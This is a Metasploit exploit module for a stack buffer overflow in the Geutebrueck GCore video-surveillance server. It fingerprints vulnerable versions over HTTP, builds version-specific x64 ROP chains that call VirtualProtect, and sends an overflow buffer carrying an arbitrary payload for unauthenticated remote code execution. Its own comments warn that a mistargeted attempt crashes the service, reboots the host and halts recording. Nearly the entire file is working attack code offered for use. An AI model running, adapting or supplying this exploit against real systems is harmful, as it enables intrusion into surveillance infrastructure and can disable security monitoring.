# Exploit Title: Geutebrueck GCore X64 Full RCE Bufferoverflow for Metasploit
# Date: 20170125
# Exploit Author: Luca Cappiello, Maurice Popp
# Contact(Twitter): @dopa_mined, @_m4p0
# Github: https://github.com/m4p0/Geutebrueck_GCore_X64_RCE_BO
# Vendor Homepage: http://www.geutebrueck.com/en_US/product-overview-31934.html
# Software Link: None
# Version: 1.3.8.42/1.4.2.37
# Tested on: Win7, Win8/8.1, Win2012R2
# CVE : None
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'nokogiri'
require 'open-uri'
class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
Rank = NormalRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE',
'Description' => 'This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe). The vulnerable webserver is running on Port 13003 and Port 13004, does not require authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).',
'License' => MSF_LICENSE,
'Author' =>
[
'Luca Cappiello',
'Maurice Popp'
],
'References' =>
[
['www.geutebrueck.com', '']
],
'Platform' => 'win',
'Targets' =>
[
['Automatic Targeting', { 'auto' => true, 'Arch' => ARCH_X86_64 }],
['GCore 1.3.8.42, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }],
['GCore 1.4.2.37, Windows x64 (Win7, Win8/8.1, Win2012R2,...)', { 'Arch' => ARCH_X86_64 }]
],
'Payload' =>
{
'Space' => '2000'
},
'Privileged' => false,
'DisclosureDate' => 'Sep 01 2016',
'DefaultTarget' => 0))
end
def fingerprint
print_status('Trying to fingerprint server with http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml...')
@doc = Nokogiri::XML(open('http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml'))
statistics = @doc.css('modulestate')
statistics.each do |x|
if (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.3.8.42')
mytarget = targets[1]
# print_status(mytarget.name)
print_status("Vulnerable version detected: #{mytarget.name}")
return Exploit::CheckCode::Appears, mytarget
elsif (x.to_s.include? 'GCoreServer') && (x.to_s.include? '1.4.2.37')
mytarget = targets[2]
# print_status(mytarget.name)
print_status("Vulnerable version detected: #{mytarget.name}")
return Exploit::CheckCode::Appears, mytarget
end
end
print_status('Statistics Page under http://' + datastore['RHOST'] + ':' + datastore['RPORT'].to_s + '/statistics/runningmoduleslist.xml is not available.')
print_status("Make sure that you know the exact version, otherwise you'll knock out the service.")
print_status('In the default configuration the service will restart after 1 minute and after the third crash the server will reboot!')
print_status('After a crash, the videosurveillance system can not recover properly and stops recording.')
[Exploit::CheckCode::Unknown, nil]
end
def check
fingerprint
end
def ropchain(target)
if target.name.include? '1.3.8.42'
print_status('Preparing ROP chain for target 1.3.8.42!')
# 0x140cd00a9 | add rsp, 0x10 ; ret
# This is needed because the next 16 bytes are sometimes messed up.
overwrite = [0x140cd00a9].pack('Q<')
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
stack_align = "\x43" * 16
# We have 40 bytes left to align our stack!
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
# and to restore it.
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
# 0x1404e5cbf: mov edx, esp ; ret
stack_align += [0x1404e5cbf].pack('Q<')
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
# We pop -XXXXX as \xxxxxxxxx to rax
# 0x14013db94 pop rax ; ret
stack_align += [0x14013db94].pack('Q<')
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
# Our value is enough.
# 0x1407dc547 | add rax,rdx ; ret
stack_align += [0x1407dc547].pack('Q<')
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
# 0x140ce9ac0 | mov rsp, rax ; ..... ; ret
stack_align += [0x140ce9ac0].pack('Q<')
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
# We want RCX to hold the value for VP Argument "Address of Shellcode"
# 0x140cc2234 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
rop = ''
rop += [0x140cc2234].pack('Q<')
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
# 0x1400ae2ae | POP RDX; RETN
# 0x...1000 | Value for VP "Size of Memory"
rop += [0x1400ae2ae].pack('Q<')
rop += [0x0000000000000400].pack('Q<')
# 0x14029dc6e: | POP R8; RET
# 0x...40 | Value for VP "Execute Permissions"
rop += [0x14029dc6e].pack('Q<')
rop += [0x0000000000000040].pack('Q<')
# 0x1400aa030 | POP R9; RET
# 0x... | Value for VP "Writeable location". Not sure if needed?
# 0x1409AE1A8 is the .data section of gcore; let's test with this writable section...
rop += [0x1400aa030].pack('Q<')
rop += [0x1409AE1A8].pack('Q<')
# 0x140b5927a: xor rax, rax ; et
rop += [0x140b5927a].pack('Q<')
# 0x1402ce220 pop rax ; ret
# 0x140d752b8 | VP Stub IAT Entry
rop += [0x1402ce220].pack('Q<')
rop += [0x140d752b8].pack('Q<')
# 0x1407c6b3b mov rax, qword [rax] ; ret ;
rop += [0x1407c6b3b].pack('Q<')
# 0x140989c41 push rax; ret
rop += [0x140989c41].pack('Q<')
# 0x1406d684d jmp rsp
rop += [0x1406d684d].pack('Q<')
[rop, overwrite, stack_align]
elsif target.name.include? '1.4.2.37'
print_status('Preparing ROP chain for target 1.4.2.37!')
# 0x140cd9759 | add rsp, 0x10 ; ret
# This is needed because the next 16 bytes are sometimes messed up.
overwrite = [0x140cd9759].pack('Q<')
# These bytes "\x43" are sacrificed ; we align the stack to jump over this messed up crap.
stack_align = "\x43" * 16
# We have 40 bytes left to align our stack!
# The most reliable way to align our stack is to save the value of rsp in another register, do some calculations
# and to restore it.
# We save RSP to RDX. Even if we use ESP/EDX registers in the instruction, it still works because the values are small enough.
# 0x1404f213f: mov edx, esp ; ret
stack_align += [0x1404f213f].pack('Q<')
# As no useful "sub rdx, xxx" or "sub rsp, xxx" gadget were found, we use the add instruction with a negative value.
# We pop -XXXXX as \xxxxxxxxx to rax
# 0x14000efa8 pop rax ; ret
stack_align += [0x14000efa8].pack('Q<')
stack_align += [0xFFFFFFFFFFFFF061].pack('Q<')
# Our value is enough.
# 0x140cdfe65 | add rax,rdx ; ret
stack_align += [0x140cdfe65].pack('Q<')
# RSP gets restored with the new value. The return instruction doesn't break our ropchain and continues -XXXXX back.
# 0x140cf3110 | mov rsp, rax ; ..... ; ret
stack_align += [0x140cf3110].pack('Q<')
# Virtualprotect Call for 64 Bit calling convention. Needs RCX, RDX, R8 and R9.
# We want RCX to hold the value for VP Argument "Address of Shellcode"
# 0x140ccb984 | mov rcx, rax ; mov rax, qword [rcx+0x00000108] ; add rsp, 0x28 ; ret ;
rop = ''
rop += [0x140ccb984].pack('Q<')
rop += [0x4141414141414141].pack('Q<') * 5 # needed because of the stack aliging with "add rsp, 0x28" ;
# 0x14008f7ec | POP RDX; RETN
# 0x...1000 | Value for VP "Size of Memory"
rop += [0x14008f7ec].pack('Q<')
rop += [0x0000000000000400].pack('Q<')
# 0x140a88f81: | POP R8; RET
# 0x...40 | Value for VP "Execute Permissions"
rop += [0x140a88f81].pack('Q<')
rop += [0x0000000000000040].pack('Q<')
# 0x1400aa030 | POP R9; RET
# 0x... | Value for VP "Writeable location". Not sure if needed?
# 0x140FB5000 is the .data section of gcore; let's test with this writable section...
rop += [0x1400aa030].pack('Q<')
rop += [0x140FB5000].pack('Q<')
# 0x140ccea2f: xor rax, rax ; et
rop += [0x140ccea2f].pack('Q<')
# 0x14000efa8 pop rax ; ret
# 0x140d83268 | VP Stub IAT Entry #TODO!
rop += [0x14000efa8].pack('Q<')
rop += [0x140d83268].pack('Q<')
# 0x14095b254 mov rax, qword [rax] ; ret ;
rop += [0x14095b254].pack('Q<')
# 0x140166c46 push rax; ret
rop += [0x140166c46].pack('Q<')
# 0x140cfb98d jmp rsp
rop += [0x140cfb98d].pack('Q<')
[rop, overwrite, stack_align]
else
print_status('ROP chain for this version not (yet) available or the target is not vulnerable.')
end
end
def exploit
# mytarget = target
if target['auto']
checkcode, target = fingerprint
if checkcode.to_s.include? 'unknown'
print_status('No vulnerable Version detected - exploit aborted.')
else
target_rop, target_overwrite, target_stack_align = ropchain(target)
begin
connect
print_status('Crafting Exploit...')
http_wannabe = 'GET /'
buffer_200 = "\x41" * 200
rop = target_rop
payload.encoded
buffer_1823 = "\x41" * 1823
overwrite = target_overwrite
stack_align = target_stack_align
exploit = http_wannabe + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
print_status('Exploit ready for sending...')
sock.put(exploit, 'Timeout' => 20)
print_status('Exploit sent!')
# sleep(10)
buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
ensure
print_status('Closing socket.')
disconnect
# sleep(10)
end
end
else
print_status('No auto detection - be sure to choose the right version! Otherwise the service will crash, the system reboots and leaves the surveillance software in an undefined status.')
print_status("Selected version: #{self.target.name}")
target_rop, target_overwrite, target_stack_align = ropchain(self.target)
begin
connect
print_status('Crafting Exploit...')
http_wannabe = 'GET /'
buffer_200 = "\x41" * 200
rop = target_rop
payload.encoded
buffer_1823 = "\x41" * 1823
overwrite = target_overwrite
stack_align = target_stack_align
exploit = http_wannabe + buffer_200 + rop + payload.encoded + buffer_1823 + overwrite + stack_align
print_status('Exploit ready for sending...')
sock.put(exploit, 'Timeout' => 20)
print_status('Exploit sent!')
# sleep(10)
buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
ensure
print_status('Closing socket.')
disconnect
# sleep(10)
end
end
end
end
